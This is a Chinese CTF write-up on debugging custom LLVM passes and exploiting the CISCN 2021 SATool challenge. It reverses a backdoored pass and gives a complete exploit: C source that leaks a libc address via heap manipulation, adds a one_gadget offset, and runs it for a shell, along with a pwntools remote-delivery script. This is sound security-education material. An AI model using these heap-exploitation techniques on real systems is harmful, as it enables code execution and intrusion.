LLVM PASS PWN (二)

这是LLVM PASS PWN的第二篇,这一篇主要记录学习一下LLVM PASS PWN如何调试,并拿CISCN 2021 SATool来做第一道LLVM PASS PWN解,笔者的做题环境都是ubuntu20.04

之前的文章链接:

LLVM PASS PWN (二)

调试 LLVM PASS

在正式做LLVM PASS PWN的时候首先学习一下如何调试LLVM PASS,还是用上一篇文章的LLVM PASS

其实真正攻击的目标是opt,上一章使用的opt-12,所以这里使用gdb /bin/opt-12,用set args设置参数传入即可

1

开始的时候vmmap可以发现并没有加载LLVMHello.so

1

需要将这些call都跑掉之后,就可以看到LLVMHello.so加载成功

1

如下加载成功

1

如果想要在模块中下断点只需要用so第一个的地址加上偏移即可

CISCN 2021 SATool

逆向分析

下载之后可以发现有如下东西

1
2
➜  附件 ls
libc-2.27.so libLLVM-8.so.1 libstdc++.so.6.0.25 opt quickstart.txt SAPass.so

SAPass.so就是自定义的一个Pass,漏洞就发生在这里面,还有一个opt,这个就是我们最后的攻击目标./opt --version即可查看版本

1
2
3
4
5
6
7
➜  附件 ./opt --version
LLVM (http://llvm.org/):
LLVM version 8.0.1

Optimized build.
Default target: x86_64-pc-linux-gnu
Host CPU: skylake

还有一个quickstart.txt,这个是出题人写的说明,看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Jack has developed a malicout analysis tool and leave a backdoor in it.

Can you hack the tool and get shell?

You can send the base64 of bitcode to the server, and the server will decode it and run "./opt -load ./SAPass.so -SAPass ./exp.bc“your_bitcode".

You can directly use the following script to send base64 code to server:


from pwn import *
import sys
context.log_level='debug'

con = remote(sys.argv[1], sys.argv[2])
f = open("./exp.bc","rb")

payload=f.read()

f.close()

payload2 = payload.encode("base64")
con.sendlineafter("bitcode: \n", payload2)

con.interactive()

上面说明了如何操作,并贴出了打远程的脚本,接下来做的就是对SAPass.so进行逆向

5

进入ida之后可以发现符号表没了,上一篇文章说过漏洞基本发生在重写runOnFunction的函数,而runOnFunction在vtable最后一个,所以我们现在去寻找一下vtable,跟进sub_1930

5

看到对象的创建了,vtable应该就在最下面的off_203d30,直接跟进

5

成功发现vtable的位置,上一篇说到最后一个是runOnFunction,因为被重写了所以直接跟进,跟进后发现一共566行的c++的反汇编代码,头大

5

从头开始分析,首先是用了getName来获得每个函数的名称,并且名称里面必须有r0oDkc4B,因为是小端序,Name的类型是QWORD存储,所以是B4ckDo0r,但是还会判断v3==8,这里不知道v3是什么,所以我们看一下汇编

5

有一个cmp rdx, 8,rdx是上面函数的返回值里的一个,意思就是对象名字的长度是否是8,接着会将B4ckDo0r放入rcx中,会比较rcx和rax地址里的内容,而rax是函数的返回值,所以判断函数名称是否是B4ckDo0r,和上面分析的一样

接下来的东西很多也很乱,在比赛的时候要做的就是如何能快速筛选出有用的数据,笔者觉得动静分析可以快速的分析这个程序的逻辑,所以我们写一个exp.c再用clang-8编译成exp.ll

1
2
3
4
5
6
//clang-8 -S -emit-llvm exp.c -o exp.ll
#include <stdio.h>

int B4ckDo0r(){
return 0;
}

用上面调试LLVM PASS的方法对这题进行调试,并在SAPass.so的基址 + 0x1A14这里下个断点然后单步执行进行调试,同时在调试的时候结合静态分析,if ( v3 == 8 && *Name == 'r0oDkc4B' )这个判断已经成功满足,但是最后会跑飞跑到0x2234这里就退出了

造成这样的原因是B4ckDo0r这个函数已经结束了,没有检测到这个函数里面的东西,那我们给他放入一点东西看一下会不会跑到0x2234这里就退出

1
2
3
4
5
6
#include <stdio.h>

int B4ckDo0r(){
printf("hello");
return 0;
}
5

调试之后发现已经跑不到219这里了已经可以继续往下走了,继续调试,当执行到0x1A9E这里时会调用llvm::Value::getName

5

获取到了printf这个函数,并且长度放入rdx中,继续调试,会执行到if ( !(unsigned int)std::string::compare(&fnc_name, "save") )这条语句,一参是printf函数的名字,二参是save,这个意思就是判断是否在B4ckDo0r中调用了save函数

5

既然这样判断了,那肯定还有类似的判断,漏洞及有可能出现在这些函数处理功能内,一个一个看,首先是save函数

5

Invalid opcode这种东西没什么意义,只要正常写程序都不会触发这些报错,我们再写一个exp.c继续调试

1
2
3
4
5
6
7
8
9
#include <stdio.h>

void save(){
}

int B4ckDo0r(){
save();
return 0;
}

可以进入save函数处理功能,但是到了if ( -1431655765 * (unsigned int)((v15 + 24 * v18 - 24 * (unsigned __int64)NumTotalBundleOperands - v20) >> 3) == 2 )这里之后会直接退出了,会判断是否为2,直接盲猜一下是否是save需要两个参数

1
2
3
4
5
6
7
8
9
#include <stdio.h>

void save(char *a, char *b){
}

int B4ckDo0r(){
save("a", "b");
return 0;
}

成功继续执行了,接着到了核心的地方,v25是一参,v30是二参,会将一参和二参利用memcpy放入一个chunk中

5

save功能已经看过,看下面的takeaway,找到了和上面一样的东西,所以我们给takeaway一参

5

但是在调试这个处理函数功能中,最后到了heap_ptr = (_QWORD *)heap_ptr[2];然后释放

继续看stealkey这个功能

5

需要注意的下面的byte_204100 = *heap_ptr,这个heap_ptr是我们save的时候所创建的,里面存放的是save的一参和二参,这个byte_204100 = *heap_ptr其实就是把一参给传到204100里了,调试一下看一下是否正确

1
2
pwndbg> x/gx 0x7ffff3b72000 + 0x204100
0x7ffff3d76100 <byte_204100>: 0x0000000000820061

成功执行了,继续看fakekey这个功能

5

第482行和上面一样,需要传一个参数,所以我们可以构造如下exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>

void save(char *a, char *b){
}
void takeaway(char *c){
}
void stealkey(){
}

void fakekey(char *d){
}


int B4ckDo0r(){
save("a", "b");
stealkey();
fakekey("c");
return 0;
}
5

调试了之后发现sextvalue是fakekey的一参,但是给了c之后会直接到else这里,所以我们将c改成整数再试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>

void save(char *a, char *b){
}
void takeaway(char *c){
}
void stealkey(){
}

void fakekey(int d){
}


int B4ckDo0r(){
save("a", "b");
stealkey();
fakekey(0x10);
return 0;
}

再调试一下可以发现byte_204100和*heap_ptr这里的值都加上0x10了

1
2
pwndbg> x/gx 0x7ffff3d76100
0x7ffff3d76100 <byte_204100>: 0x0000000000820071

继续下一个功能

5

run这里会直接执行(*heap_ptr)()

漏洞利用

总结一下上面的操作

  • save,会将一参二参放入heap_ptr中
  • takeaway,heap_ptr = (_QWORD *)heap_ptr[2];
  • stealkey,会将save的一参放入byte_204100
  • fakekey,会将byte_204100*heap_ptr加上fakekey的一参
  • run,会执行*heap_ptr

不难想出利用方法,因为最后会执行*heap_ptr,所以我们可以将*heap_ptr改成one_gadget

那如何将*heap_ptr改成one_gadget呢,因为fakekey可以改*heap_ptr,所以我们需要想办法将*heap_ptr放一个libc上的地址然后再利用fakekey的偏移改成one_gadget

怎么在*heap_ptr上放一个libc呢,我们看一下bins的情况

5

发现了0x20上有很多chunk,也发现了unsortedbin和small bin,那我们是不是可以将tcache清空, 再申请的时候就会有libc地址了

这样的话就可以把libc上的地址放到*heap_ptr上了,需要注意的是最后一个的一参放空

5

最后main_arena + 112会到*heap_ptr上,利用fakekey打*heap_ptr为one_gadget即可,因为笔者用的2.31的ubuntu,所以直接ogg2.31

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
1
2
3
4
5
0x7ffff3e39000     0x7ffff3e5b000 r--p    22000 0      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff3e5b000 0x7ffff3fd3000 r-xp 178000 22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff3fd3000 0x7ffff4021000 r--p 4e000 19a000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff4021000 0x7ffff4025000 r--p 4000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff4025000 0x7ffff4027000 rw-p 2000 1eb000 /usr/lib/x86_64-linux-gnu/libc-2.31.so

所以有

1
2
pwndbg> p/x 0x7ffff4025bf0 - 0x7ffff3e39000
$9 = 0x1ecbf0

0x1ecbf0 - 0xe3afe = 0x1090f2,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>

void save(char *a, char *b){
}
void takeaway(char *c){
}
void stealkey(){
}

void fakekey(int d){
}

void run(){
}


int B4ckDo0r(){
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("", "z1r0");
stealkey();
fakekey(-0x1090f2);
run();
return 0;
}
5

总结

如何快速的筛选出有用的代码是最关键的地方,必要的时候需要动静结合分析这样可以快速理解程序逻辑